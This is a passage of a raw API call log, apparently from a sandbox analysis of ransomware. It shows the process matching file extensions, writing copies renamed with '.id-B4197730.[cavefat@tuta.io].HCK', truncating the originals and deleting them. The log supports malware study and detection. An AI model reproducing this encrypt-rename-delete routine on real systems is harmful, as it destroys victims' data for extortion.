(lpString1=".7z", lpString2="WMF") returned -1 [0179.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.084] lstrlenW (lpString=".dbf") returned 4 [0179.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.084] lstrlenW (lpString=".1cd") returned 4 [0179.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.084] lstrlenW (lpString=".jpg") returned 4 [0179.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.085] lstrlenW (lpString=".doc") returned 4 [0179.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.085] lstrlenW (lpString=".docx") returned 5 [0179.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.085] lstrlenW (lpString=".pdf") returned 4 [0179.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.085] lstrlenW (lpString=".xls") returned 4 [0179.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.085] lstrlenW (lpString=".xlsx") returned 5 [0179.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.085] lstrlenW (lpString=".ppt") returned 4 [0179.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.085] lstrlenW (lpString=".zip") returned 4 [0179.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.085] lstrlenW (lpString=".rar") returned 4 [0179.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.085] lstrlenW (lpString=".bz2") returned 4 [0179.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.085] lstrlenW (lpString=".7z") returned 3 [0179.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.085] lstrlenW (lpString=".dbf") returned 4 [0179.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.085] lstrlenW (lpString=".1cd") returned 4 [0179.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 68 [0179.085] lstrlenW (lpString=".jpg") returned 4 [0179.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.085] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.085] lstrlenW (lpString="PE00489_.WMF") returned 12 [0179.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.086] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=81964) returned 1 [0179.086] CloseHandle (hObject=0x368) returned 1 [0179.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf")) returned 0x220 [0179.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.091] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.091] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.092] GetLastError () returned 0x0 [0179.092] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1402c, lpOverlapped=0x0) returned 1 [0179.096] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x14030, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x14030, lpOverlapped=0x0) returned 1 [0179.097] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.097] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.097] SetEndOfFile (hFile=0x2fc) returned 1 [0179.102] CloseHandle (hObject=0x2fc) returned 1 [0179.105] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.105] SetEndOfFile (hFile=0x370) returned 1 [0179.106] CloseHandle (hObject=0x370) returned 1 [0179.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf")) returned 1 [0179.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.109] lstrlenW (lpString=".doc") returned 4 [0179.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.109] lstrlenW (lpString=".docx") returned 5 [0179.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.109] lstrlenW (lpString=".pdf") returned 4 [0179.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.109] lstrlenW (lpString=".xls") returned 4 [0179.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.109] lstrlenW (lpString=".xlsx") returned 5 [0179.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.109] lstrlenW (lpString=".ppt") returned 4 [0179.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.109] lstrlenW (lpString=".zip") returned 4 [0179.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.109] lstrlenW (lpString=".rar") returned 4 [0179.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.109] lstrlenW (lpString=".bz2") returned 4 [0179.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.109] lstrlenW (lpString=".7z") returned 3 [0179.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.109] lstrlenW (lpString=".dbf") returned 4 [0179.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.109] lstrlenW (lpString=".1cd") returned 4 [0179.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.109] lstrlenW (lpString=".jpg") returned 4 [0179.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.110] lstrlenW (lpString=".doc") returned 4 [0179.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.110] lstrlenW (lpString=".docx") returned 5 [0179.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.110] lstrlenW (lpString=".pdf") returned 4 [0179.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.110] lstrlenW (lpString=".xls") returned 4 [0179.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.110] lstrlenW (lpString=".xlsx") returned 5 [0179.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.110] lstrlenW (lpString=".ppt") returned 4 [0179.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.110] lstrlenW (lpString=".zip") returned 4 [0179.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.110] lstrlenW (lpString=".rar") returned 4 [0179.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.110] lstrlenW (lpString=".bz2") returned 4 [0179.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.110] lstrlenW (lpString=".7z") returned 3 [0179.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.110] lstrlenW (lpString=".dbf") returned 4 [0179.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.110] lstrlenW (lpString=".1cd") returned 4 [0179.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 68 [0179.110] lstrlenW (lpString=".jpg") returned 4 [0179.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.110] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.110] lstrlenW (lpString="PE00559_.WMF") returned 12 [0179.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.115] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9904) returned 1 [0179.115] CloseHandle (hObject=0x370) returned 1 [0179.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf")) returned 0x220 [0179.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.117] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.118] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.121] GetLastError () returned 0x0 [0179.122] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x26b0, lpOverlapped=0x0) returned 1 [0179.123] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x26c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x26c0, lpOverlapped=0x0) returned 1 [0179.124] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.124] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.124] SetEndOfFile (hFile=0x300) returned 1 [0179.126] CloseHandle (hObject=0x300) returned 1 [0179.128] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.128] SetEndOfFile (hFile=0x370) returned 1 [0179.131] CloseHandle (hObject=0x370) returned 1 [0179.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00559_.wmf")) returned 1 [0179.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.134] lstrlenW (lpString=".doc") returned 4 [0179.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.134] lstrlenW (lpString=".docx") returned 5 [0179.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.135] lstrlenW (lpString=".pdf") returned 4 [0179.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString=".xls") returned 4 [0179.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.135] lstrlenW (lpString=".xlsx") returned 5 [0179.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.135] lstrlenW (lpString=".ppt") returned 4 [0179.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.135] lstrlenW (lpString=".zip") returned 4 [0179.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.135] lstrlenW (lpString=".rar") returned 4 [0179.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString=".bz2") returned 4 [0179.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString=".7z") returned 3 [0179.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.135] lstrlenW (lpString=".dbf") returned 4 [0179.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.135] lstrlenW (lpString=".1cd") returned 4 [0179.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.135] lstrlenW (lpString=".jpg") returned 4 [0179.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.135] lstrlenW (lpString=".doc") returned 4 [0179.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString=".docx") returned 5 [0179.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.135] lstrlenW (lpString=".pdf") returned 4 [0179.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString=".xls") returned 4 [0179.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.135] lstrlenW (lpString=".xlsx") returned 5 [0179.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.135] lstrlenW (lpString=".ppt") returned 4 [0179.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.135] lstrlenW (lpString=".zip") returned 4 [0179.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.135] lstrlenW (lpString=".rar") returned 4 [0179.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.136] lstrlenW (lpString=".bz2") returned 4 [0179.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.136] lstrlenW (lpString=".7z") returned 3 [0179.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.136] lstrlenW (lpString=".dbf") returned 4 [0179.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.136] lstrlenW (lpString=".1cd") returned 4 [0179.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00559_.WMF") returned 68 [0179.136] lstrlenW (lpString=".jpg") returned 4 [0179.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.136] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.136] lstrlenW (lpString="PE00633_.WMF") returned 12 [0179.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.137] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19690) returned 1 [0179.137] CloseHandle (hObject=0x370) returned 1 [0179.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf")) returned 0x220 [0179.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.141] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.141] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.143] GetLastError () returned 0x0 [0179.143] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4cea, lpOverlapped=0x0) returned 1 [0179.144] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4cf0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4cf0, lpOverlapped=0x0) returned 1 [0179.145] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.145] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.145] SetEndOfFile (hFile=0x39c) returned 1 [0179.148] CloseHandle (hObject=0x39c) returned 1 [0179.148] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.148] SetEndOfFile (hFile=0x300) returned 1 [0179.151] CloseHandle (hObject=0x300) returned 1 [0179.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00633_.wmf")) returned 1 [0179.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.157] lstrlenW (lpString=".doc") returned 4 [0179.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.157] lstrlenW (lpString=".docx") returned 5 [0179.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.157] lstrlenW (lpString=".pdf") returned 4 [0179.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.157] lstrlenW (lpString=".xls") returned 4 [0179.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.157] lstrlenW (lpString=".xlsx") returned 5 [0179.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.157] lstrlenW (lpString=".ppt") returned 4 [0179.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.157] lstrlenW (lpString=".zip") returned 4 [0179.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.157] lstrlenW (lpString=".rar") returned 4 [0179.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.157] lstrlenW (lpString=".bz2") returned 4 [0179.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.157] lstrlenW (lpString=".7z") returned 3 [0179.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.157] lstrlenW (lpString=".dbf") returned 4 [0179.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString="C:\\Program Files\\Microsoft 